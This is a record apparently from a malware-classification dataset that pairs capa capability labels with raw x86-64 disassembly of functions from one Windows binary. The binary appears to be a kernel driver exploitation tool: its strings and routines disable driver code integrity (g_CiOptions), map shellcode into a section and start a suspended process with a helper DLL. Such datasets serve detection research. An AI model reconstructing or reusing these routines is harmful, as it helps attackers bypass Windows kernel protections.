joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001b2c
Capabilities:
Enumerate files on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
push rbp
push rsi
push rdi
lea rbp, [rax - 0x5f]
sub rsp, 0x90
and qword [rbp - 9], 0
mov rsi, r9
mov rdx, rcx
test rcx, rcx
je 0x140001cb2
xor eax, eax
lea rdi, [rbp - 1]
lea ecx, [rax + 0x10]
rep stosb byte [rdi], al
lea rcx, [rbp - 1]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
and qword [rbp + 0x17], 0
lea rax, [rbp - 1]
xorps xmm0, xmm0
mov qword [rbp + 0x1f], rax
lea r8, [rbp + 0xf]
mov dword [rbp + 0xf], 0x30
mov edx, 1
mov dword [rbp + 0x27], 0x40
lea rcx, [rbp - 9]
movdqu xmmword [rbp + 0x2f], xmm0
call qword [sym.imp.ntdll.dll_NtOpenDirectoryObject]
test eax, eax
js 0x140001cb7
and dword [rbp + 0x6f], 0
jmp 0x140001c43
mov rcx, qword gs:[0x30]
mov edx, 8
mov r8d, dword [rbp + 0x77]
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x140001c9f
mov r8d, dword [rbp + 0x77]
lea rax, [rbp + 0x77]
mov rcx, qword [rbp - 9]
mov r9b, 1
mov qword [rsp + 0x30], rax
mov rdx, rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], 0
call qword [sym.imp.ntdll.dll_NtQueryDirectoryObject]
mov edi, eax
test eax, eax
js 0x140001c83
mov rdx, rsi
mov rcx, rbx
call fcn.140001a88
mov rcx, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov edi, eax
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
test edi, edi
jns 0x140001c7f
mov rcx, qword [rbp - 9]
lea rax, [rbp + 0x77]
and dword [rbp + 0x77], 0
mov r9b, 1
mov qword [rsp + 0x30], rax
xor r8d, r8d
lea rax, [rbp + 0x6f]
xor edx, edx
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], 0
call qword [sym.imp.ntdll.dll_NtQueryDirectoryObject]
mov edi, eax
cmp eax, 0xc0000023
je 0x140001bb9
jmp 0x140001c9f
xor edi, edi
jmp 0x140001c9f
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rcx, qword [rbp - 9]
test rcx, rcx
je 0x140001cae
call qword [sym.imp.ntdll.dll_NtClose]
mov eax, edi
jmp 0x140001cb7
mov eax, 0xc00000f0
mov rbx, qword [rsp + 0xb0]
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001e88
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rbp, rdx
mov r8, rdx
mov rdx, rcx
mov rbx, rcx
xor ecx, ecx
call fcn.140001e40
mov sil, 1
lea rdi, [rbx + 2]
mov r12d, 4
lea r13, str.cw
mov rdx, rbx
mov r9, r12
mov rcx, rdx
mov r8, r12
movzx eax, byte [rcx]
mov al, byte [rax + r13]
mov byte [rcx], al
add rcx, r12
sub r8, 1
jne 0x140001ed7
inc rdx
sub r9, 1
jne 0x140001ed1
mov al, byte [rbx + 5]
mov r14, rdi
mov cl, byte [rbx + 1]
mov r15, r12
mov byte [rbx + 1], al
mov al, byte [rbx + 9]
mov byte [rbx + 5], al
mov al, byte [rbx + 0xd]
mov byte [rbx + 9], al
mov al, byte [rbx + 0xa]
mov byte [rbx + 0xd], cl
mov cl, byte [rdi]
mov byte [rdi], al
mov al, byte [rbx + 0xe]
mov byte [rbx + 0xa], cl
mov cl, byte [rbx + 6]
mov byte [rbx + 6], al
mov al, byte [rbx + 0xf]
mov byte [rbx + 0xe], cl
mov cl, byte [rbx + 3]
mov byte [rbx + 3], al
mov al, byte [rbx + 0xb]
mov byte [rbx + 0xf], al
mov al, byte [rbx + 7]
mov byte [rbx + 0xb], al
mov byte [rbx + 7], cl
mov r11b, byte [r14 - 2]
mov r8b, byte [r14 - 1]
mov dl, r11b
mov r9b, byte [r14 + 1]
xor dl, r8b
xor r9b, byte [r14]
mov al, dl
shr al, 7
add dl, dl
movzx eax, al
mov r10b, r9b
imul ecx, eax, 0x1b
xor r10b, r11b
xor r10b, r8b
xor cl, dl
mov dl, r8b
xor dl, byte [r14]
xor cl, r11b
xor r11b, byte [r14 + 1]
xor cl, r10b
mov byte [r14 - 2], cl
mov al, dl
shr al, 7
add dl, dl
movzx eax, al
imul ecx, eax, 0x1b
mov al, r9b
shr al, 7
add r9b, r9b
movzx eax, al
xor cl, dl
xor cl, r8b
xor cl, r10b
mov byte [r14 - 1], cl
imul ecx, eax, 0x1b
mov al, r11b
shr al, 7
add r11b, r11b
movzx eax, al
xor cl, r9b
xor cl, byte [r14]
xor cl, r10b
mov byte [r14], cl
imul ecx, eax, 0x1b
xor cl, r11b
xor cl, byte [r14 + 1]
xor cl, r10b
mov byte [r14 + 1], cl
add r14, r12
sub r15, 1
jne 0x140001f3e
mov r8, rbp
mov rdx, rbx
mov cl, sil
call fcn.140001e40
inc sil
cmp sil, 0xa
jb 0x140001ecb
mov rdx, rbx
mov r8, r12
mov rcx, rdx
mov r9, r12
movzx eax, byte [rcx]
mov al, byte [rax + r13]
mov byte [rcx], al
add rcx, r12
sub r9, 1
jne 0x140002004
inc rdx
sub r8, 1
jne 0x140001ffe
mov dl, byte [rbx + 6]
mov r8, rbp
mov al, byte [rbx + 5]
mov cl, byte [rbx + 1]
mov byte [rbx + 1], al
mov al, byte [rbx + 9]
mov byte [rbx + 5], al
mov al, byte [rbx + 0xd]
mov byte [rbx + 9], al
mov al, byte [rbx + 0xa]
mov byte [rbx + 0xd], cl
mov cl, byte [rdi]
mov byte [rdi], al
mov al, byte [rbx + 0xe]
mov byte [rbx + 6], al
mov al, byte [rbx + 0xf]
mov byte [rbx + 0xe], dl
mov dl, byte [rbx + 3]
mov byte [rbx + 3], al
mov al, byte [rbx + 0xb]
mov byte [rbx + 0xf], al
mov al, byte [rbx + 7]
mov byte [rbx + 7], dl
mov rdx, rbx
mov byte [rbx + 0xa], cl
mov cl, 0xa
mov byte [rbx + 0xb], al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
jmp fcn.140001e40
Function at 0x140002e74
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x20], r9d
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x50
xor edi, edi
mov rbx, r8
and qword [rbp + 0x30], rdi
mov rsi, rdx
mov rax, rcx
test r8, r8
je 0x140002e9f
and dword [r8], edi
xor ecx, ecx
and dword [rbp + 0x38], ecx
mov qword [rbp + 0x28], rcx
test rsi, rsi
je 0x140002ef5
and qword [rbp - 8], rcx
lea r8d, [rcx + 3]
mov rcx, rsi
mov qword [rbp - 0x18], 0xa
lea r9, [rbp - 0x20]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x18]
call qword [sym.imp.ntdll.dll_LdrFindResource_U]
test eax, eax
js 0x140002ef1
mov rdx, qword [rbp - 0x20]
lea r9, [rbp + 0x38]
lea r8, [rbp + 0x28]
mov rcx, rsi
call qword [sym.imp.ntdll.dll_LdrAccessResource]
test eax, eax
cmovns edi, dword [rbp + 0x38]
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x140002f1c
test edi, edi
je 0x140002f1c
mov al, byte [rbp + 0x40]
lea r8, [rbp + 0x30]
mov edx, edi
mov byte [rsp + 0x20], al
call fcn.140002f2c
test rbx, rbx
je 0x140002f1e
mov ecx, dword [rbp + 0x30]
mov dword [rbx], ecx
jmp 0x140002f1e
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x140002f2c
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov dword [rax + 0x20], r9d
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x57]
sub rsp, 0x90
mov r15, rcx
lea rdi, [rbp - 0x11]
xor eax, eax
xor ebx, ebx
and qword [r8], rbx
mov rsi, rdx
mov r12, r8
mov r8, rsi
lea edx, [rbx + 0x18]
mov ecx, edx
rep stosb byte [rdi], al
mov ecx, edx
lea rdi, [rbp - 0x31]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x41]
lea ecx, [rbx + 0x10]
rep stosb byte [rdi], al
mov rax, qword gs:[0x30]
lea edx, [rbx + 8]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r14, rax
test rax, rax
je 0x1400030de
mov r8, rsi
mov rdx, r15
mov rcx, rax
call fcn.140028d00
lea r15d, [rbx + 1]
test esi, esi
je 0x140002fcf
mov eax, 0xf62e6ce0
mov edx, esi
mov rcx, r14
xor byte [rcx], al
add rcx, r15
rol eax, 1
add edx, 0xffffffff
jne 0x140002fc3
and dword [rbp - 0x21], ebx
lea r9, [rbp - 0x41]
movsd xmm1, qword [rbp - 0x21]
lea r8, [rbp + 0xf]
mov qword [rbp - 0x31], r14
lea rdx, [rbp - 0x31]
mov qword [rbp - 0x29], rsi
mov rcx, r15
movups xmm0, xmmword [rbp - 0x31]
movsd qword [rbp + 0x1f], xmm1
movsd xmm1, qword [rbp - 1]
movaps xmmword [rbp + 0xf], xmm0
movups xmm0, xmmword [rbp - 0x11]
movsd qword [rbp - 0x21], xmm1
movaps xmmword [rbp - 0x31], xmm0
call qword [sym.imp.msdelta.dll_ApplyDeltaB]
test eax, eax
je 0x1400030ae
mov rdi, qword [rbp - 0x39]
mov rsi, qword [rbp - 0x41]
cmp byte [rbp + 0x7f], bl
je 0x14000305d
and dword [rbp + 0x6f], ebx
lea r9, [rbp + 0x77]
and dword [rbp + 0x77], ebx
lea r8, [rbp + 0x6f]
mov edx, edi
mov rcx, rsi
call fcn.14000f3d4
test al, al
jne 0x140003069
mov r9d, dword [rbp + 0x77]
lea rdx, [0x140036d50]
mov r8d, dword [rbp + 0x6f]
mov ecx, r15d
call fcn.140010084
jmp 0x1400030a2
lea rcx, str.___Checksum_verification_skipped_r_n
call fcn.140002e20
mov rax, qword gs:[0x30]
mov r8, rdi
mov edx, 8
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x1400030a2
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.140028d00
mov qword [r12], rdi
mov rcx, qword [rbp - 0x41]
call qword [sym.imp.msdelta.dll_DeltaFree]
jmp 0x1400030c2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_while_decompressing_resource
call fcn.140010f54
mov rax, qword gs:[0x30]
mov r8, r14
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea r11, [rsp + 0x90]
mov rax, rbx
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x14000319c
Capabilities:
Map section object

Disassembly:
push rbx
sub rsp, 0x50
and qword [rsp + 0x60], 0
mov r10, rdx
mov r8d, dword [rcx + 8]
mov rbx, rcx
sub r8d, 1
je 0x1400031bc
sub r8d, 1
mov dword [rsp + 0x48], 4
lea r8, [rsp + 0x60]
and dword [rsp + 0x40], 0
mov eax, 0x1000
mov dword [rsp + 0x38], 2
mov ecx, eax
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x30], rcx
xor r9d, r9d
and qword [rsp + 0x28], 0
mov rcx, r10
or rdx, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
test eax, eax
js 0x14000325f
mov ecx, dword [rbx + 8]
sub ecx, 1
je 0x140003234
cmp ecx, 1
jne 0x140003234
mov r8, qword [rsp + 0x60]
lea rdx, str.___Shellcode_result__system_worker:_0x_p_r_n
mov ecx, 2
mov r8, qword [r8 + 0x10]
call fcn.140010084
jmp 0x14000324e
mov r8, qword [rsp + 0x60]
lea rdx, str.___Shellcode_result:_NTSTATUS__0x_lX__r_n
mov ecx, 2
mov r8d, dword [r8 + 8]
call fcn.140010084
mov rdx, qword [rsp + 0x60]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
jmp 0x140003273
mov r8d, eax
lea rdx, str.____Cannot_map_shellcode_section__NTSTATUS___lX__r_n
mov ecx, 1
call fcn.140010084
add rsp, 0x50
pop rbx
ret
Function at 0x140003908
Capabilities:
Get windows directory from kuser_shared_data

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x370]
sub rsp, 0x470
mov rsi, qword [rcx + 0x18]
xor r12d, r12d
mov dword [rbp + 0x3b0], r12d
mov r14, r8
mov qword [rsp + 0x40], r12
mov r15, rdx
mov qword [rbp + 0x3c8], r12
mov rdi, rcx
mov qword [rbp + 0x3c0], r12
mov ebx, r12d
mov qword [r8], r12
test rsi, rsi
jne 0x14000396d
lea rdx, str.____Cannot_query_ntoskrnl_loaded_base__abort_r_n
mov ecx, 1
call fcn.140010084
jmp 0x140003ad2
mov rdx, rsi
lea rcx, str.___Loaded_ntoskrnl_base_0x_llX_r_n
call fcn.140002e20
mov ecx, 0x7ffe0030
lea rax, [rsp + 0x60]
cmp rax, rcx
je 0x1400039b4
movzx edx, word [rcx]
lea rax, [rsp + 0x60]
test dx, dx
je 0x1400039b0
lea r8, [rsp + 0x60]
sub rcx, r8
mov word [rax], dx
add rax, 2
movzx edx, word [rcx + rax]
test dx, dx
jne 0x1400039a0
mov word [rax], r12w
lea rdx, str._system32_ntoskrnl.exe
lea rcx, [rsp + 0x60]
call fcn.1400012a4
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x48]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea r9, [rbp + 0x3c0]
xor edx, edx
lea r8, [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.ntdll.dll_LdrLoadDll]
test eax, eax
js 0x140003ac4
mov rdx, qword [rbp + 0x3c0]
test rdx, rdx
je 0x140003ac4
lea rcx, str.___Ntoskrnl.exe_mapped_at_0x_llX_r_n
call fcn.140002e20
mov rax, qword [rbp + 0x3c0]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x28], rsi
lea rdx, [rbp + 0x3c8]
mov r9, r15
mov qword [rdi + 0x20], rax
mov rcx, rdi
mov qword [rsp + 0x20], rax
call fcn.14000327c
test eax, eax
jne 0x140003a4b
lea rdx, str.____Error_while_mapping_payload__abort_r_n
jmp 0x14000395e
mov rdx, qword [rbp + 0x3c8]
lea rax, [rbp + 0x3b0]
mov r9, qword [rbp + 0x3c0]
mov r8, qword [rsp + 0x40]
mov ecx, dword [rdi + 8]
mov qword [rsp + 0x30], rax
mov eax, dword [rdi + 0xc]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
mov qword [r14], rdx
call fcn.14000ea08
mov rbx, rax
test rax, rax
je 0x140003ad2
mov edx, dword [rbp + 0x3b0]
test edx, edx
jne 0x140003ab6
lea rdx, str.____Unexpected_shellcode_procedure_size__abort_r_n
mov ecx, 1
call fcn.140010084
mov edx, 0x800
mov rcx, rbx
call fcn.14000ec30
mov rbx, r12
jmp 0x140003ad2
lea rcx, str.___Bootstrap_code_size__0x_lX_r_n
call fcn.140002e20
jmp 0x140003ad2
mov edx, eax
lea rcx, str.____Error_while_loading_ntoskrnl.exe
call fcn.140010e88
mov rax, rbx
add rsp, 0x470
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x1400043a8
Capabilities:
Disable driver code integrity
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x430
xor ebx, ebx
lea r14, str.g_CiEnabled
mov qword [rax + 0x10], rbx
lea rsi, str.ntoskrnl.exe
mov edx, 0x23f0
lea rax, str.g_CiOptions
cmp ecx, edx
cmovae r14, rax
lea rax, str.CI.dll
cmovae rsi, rax
call fcn.140011290
test eax, eax
je 0x14000451f
mov edx, 0x104
mov word [rsp + 0x20], bx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x14000451f
lea rax, [rsp + 0x20]
cmp word [rsp + 0x20], bx
je 0x14000442e
add rax, 2
cmp word [rax], bx
jne 0x140004425
lea rdx, [0x14003779c]
mov ecx, 0x5c
sub rdx, rax
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x14000443d
mov rdx, rsi
mov word [rax], bx
lea rcx, [rsp + 0x20]
call fcn.1400012a4
xor edx, edx
lea rcx, [rsp + 0x20]
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
test rax, rax
je 0x1400044fd
mov rdx, rsi
lea rcx, str.___Module___ws__loaded_for_symbols_lookup_r_n
call fcn.140002e20
call fcn.14000fbcc
mov rdx, rdi
mov rcx, rsi
mov rbp, rax
call fcn.14001113c
test eax, eax
je 0x1400044e1
lea rdx, [rsp + 0x458]
mov rcx, r14
call fcn.1400111c0
test eax, eax
je 0x1400044d8
mov rbx, rbp
lea rdx, str.___Symbol_resolved_to_0x_llX_address_r_n
sub rbx, rdi
mov ecx, 2
add rbx, qword [rsp + 0x458]
mov r8, rbx
call fcn.140010084
jmp 0x1400044f2
lea rdx, str.____Unable_to_find_specified_symbol_r_n
jmp 0x1400044e8
lea rdx, str.____Unable_to_load_symbols_for_file_r_n
mov ecx, 1
call fcn.140010084
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x14000451a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8, rsi
lea rdx, str.____Could_not_load___ws___GetLastError__lu_r_n
mov r9d, eax
mov ecx, 1
call fcn.140010084
mov rax, rbx
jmp 0x140004521
xor eax, eax
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x1400072a0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x50
and qword [rax - 0x28], 0
mov edi, r9d
and dword [rax + 0x20], 0
mov rsi, r8
mov dword [rax - 0x10], r9d
mov r9d, 0x10
mov dword [rax - 0x30], r9d
lea r8, [rsp + 0x40]
mov qword [rax - 0x18], rdx
lea rax, [rax - 0x18]
mov edx, 0x22e400
mov qword [rsp + 0x20], rax
mov rbx, rcx
call fcn.14000ec68
test eax, eax
jns 0x140007304
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x140007341
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x78]
cmp dword [rsp + 0x80], 0
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
je 0x14000733b
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x140007341
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret

Function at 0x14000afb4
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
xor r10d, r10d
mov r9, rcx
mov qword [rcx], r10
mov r11, rdx
mov qword [rcx + 8], r10
movdqu xmm2, xmmword [rcx]
lea ebx, [r10 + 0x69]
mov ecx, r10d
movzx r8d, r11b
mov edx, 0xaa
cmp r8b, bl
cmovne rdx, rbx
shr r11, 8
xor r8, rdx
mov rax, rdx
shl rax, cl
inc r10d
shl r8, cl
add ecx, 8
movq xmm0, rax
movq xmm1, r8
punpcklqdq xmm1, xmm0
paddq xmm1, xmm2
movdqa xmm2, xmm1
movdqu xmmword [r9], xmm1
cmp r10d, 8
jb 0x14000afd4
mov rbx, qword [rsp + 8]
mov rax, r9
ret
Function at 0x14000bb48
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x600]
sub rsp, 0x700
mov rax, qword [rcx + 0x40]
xor ebx, ebx
mov rsi, rcx
mov dword [rbp + 0x630], ebx
mov rdx, qword [rax]
mov eax, dword [rdx + 8]
sub eax, 0x8c
je 0x14000bb9a
cmp eax, 1
jne 0x14000bb9a
lea r15, str.RegExp.exe
lea r12, [0x140038668]
jmp 0x14000bba8
lea r12, [0x14003866c]
lea r15, [0x140038670]
xor eax, eax
lea rdi, [rbp - 0x20]
mov ecx, 0x20a
lea rdx, [rbp - 0x20]
rep stosb byte [rdi], al
lea rcx, [0x140037cf8]
call fcn.1400019fc
dec eax
cmp eax, 0x103
ja 0x14000bd80
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea r8, [rbp + 0x630]
mov byte [rsp + 0x20], 1
mov rdx, rax
mov ecx, 0x7d1
call fcn.140002e74
mov r14, rax
test rax, rax
jne 0x14000bc0f
lea rdx, str.____Failed_to_load_helper_dll_r_n
lea ecx, [rax + 1]
call fcn.140010084
jmp 0x14000bd8b
mov edx, dword [rbp + 0x630]
lea r8, str.RegisterForProvider2
mov r9d, 1
mov rcx, r14
call fcn.1400104d0
test eax, eax
je 0x14000bd4f
lea r9, [rbp - 0x20]
mov qword [rsp + 0x20], r15
lea r8, [0x140037d90]
mov edx, 0x208
lea rcx, [rbp + 0x1f0]
call fcn.140003100
mov r8d, dword [rbp + 0x630]
lea rax, [rbp + 0x630]
mov rdx, r14
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x1f0]
call fcn.1400013dc
test rax, rax
je 0x14000bd3b
xor eax, eax
lea rdi, [rsp + 0x70]
lea edx, [rax + 0x68]
mov ecx, edx
rep stosb byte [rdi], al
lea ecx, [rax + 0x18]
mov dword [rsp + 0x70], edx
lea rdi, [rsp + 0x50]
rep stosb byte [rdi], al
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x1f0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov rdx, r12
lea rax, [rbp - 0x20]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000bd1c
mov qword [rsp + 0x20], rsi
call fcn.14000c400
mov rcx, qword [rsp + 0x58]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test rdi, rdi
je 0x14000bd1c
mov rcx, qword [rsp + 0x50]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rsi + 0x28], rbx
setne bl
jmp 0x14000bd60
mov edx, dword [rbp + 0x630]
lea rcx, str.____Failed_to_write_help_dll_on_disk
call fcn.140010e88
jmp 0x14000bd60
lea rdx, str.____Error_while_configuring_helper_dll_r_n
mov ecx, 1
call fcn.140010084
mov rcx, qword gs:[0x30]
mov r8, r14
xor edx, edx
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov eax, ebx
jmp 0x14000bd8d
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
lea r11, [rsp + 0x700]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x14000bfc8
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xd0
mov rsi, rcx
mov word [rbp + 0x73], 0x500
xor r15d, r15d
mov dword [rbp - 0x69], 0x101
lea rcx, [rbp - 0x59]
mov dword [rbp + 0x6f], r15d
mov r8b, 2
mov qword [rbp - 0x65], 0x1000000
lea rdx, [rbp + 0x6f]
call qword [sym.imp.ntdll.dll_RtlInitializeSid]
xor edx, edx
lea rcx, [rbp - 0x59]
call qword [sym.imp.ntdll.dll_RtlSubAuthoritySid]
lea edx, [r15 + 1]
lea rcx, [rbp - 0x59]
mov dword [rax], 0x20
call qword [sym.imp.ntdll.dll_RtlSubAuthoritySid]
lea rcx, [rbp - 0x59]
mov dword [rax], 0x220
call qword [sym.imp.ntdll.dll_RtlLengthSid]
lea rcx, [rbp - 0x69]
mov r14d, eax
call qword [sym.imp.ntdll.dll_RtlLengthSid]
add eax, 0x48
lea edx, [r15 + 8]
add r14d, eax
mov rax, qword gs:[0x30]
mov r8d, r14d
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x14000c0df
lea edx, [r15 + 1]
mov rcx, rax
lea rdi, [rax + 0x28]
call qword [sym.imp.ntdll.dll_RtlCreateSecurityDescriptor]
lea edx, [r14 - 0x28]
mov rcx, rdi
lea r8d, [r15 + 2]
call qword [sym.imp.ntdll.dll_RtlCreateAcl]
lea r9, [rbp - 0x59]
mov r8d, 0x1f0001
lea edx, [r15 + 2]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_RtlAddAccessAllowedAce]
lea r9, [rbp - 0x69]
mov rcx, rdi
lea edx, [r15 + 2]
lea r8d, [r15 + 1]
call qword [sym.imp.ntdll.dll_RtlAddAccessAllowedAce]
xor r9d, r9d
mov r8, rdi
mov dl, 1
mov rcx, rbx
call qword [sym.imp.ntdll.dll_RtlSetDaclSecurityDescriptor]
lea rdx, str.KduPort
lea rcx, [rbp - 0x19]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rbp - 0x19]
mov dword [rbp - 0x49], 0x30
mov qword [rbp - 0x39], rax
lea rdi, [rbp - 9]
xor eax, eax
mov qword [rbp - 0x41], r15
lea r8, [rbp - 9]
mov dword [rbp - 0x31], 0x40
lea rdx, [rbp - 0x49]
mov qword [rbp - 0x29], rbx
mov qword [rbp - 0x21], r15
lea ecx, [rax + 0x48]
rep stosb byte [rdi], al
mov rcx, rsi
mov qword [rbp + 7], 0xa8
call qword [sym.imp.ntdll.dll_NtAlpcCreatePort]
mov edi, eax
test rbx, rbx
je 0x14000c159
mov rcx, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea r11, [rsp + 0xd0]
mov eax, edi
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14000c400
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x20], r9
push rbx
sub rsp, 0x30
and dword [rsp + 0x58], 0
mov edx, 8
mov rax, qword gs:[0x30]
lea r8d, [rdx + 0x28]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x14000c4a1
mov rcx, qword [rsp + 0x60]
lea rax, [0x140011000]
mov qword [rbx], rax
lea r8, [0x14000c178]
lea rax, [0x140010fec]
mov qword [rbx + 0x20], rcx
mov qword [rbx + 8], rax
mov r9, rbx
lea rax, [rsp + 0x58]
xor edx, edx
mov qword [rsp + 0x28], rax
xor ecx, ecx
and dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x14000c483
mov qword [rbx + 0x28], rax
jmp 0x14000c4a1
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
xor ebx, ebx
mov rax, rbx
add rsp, 0x30
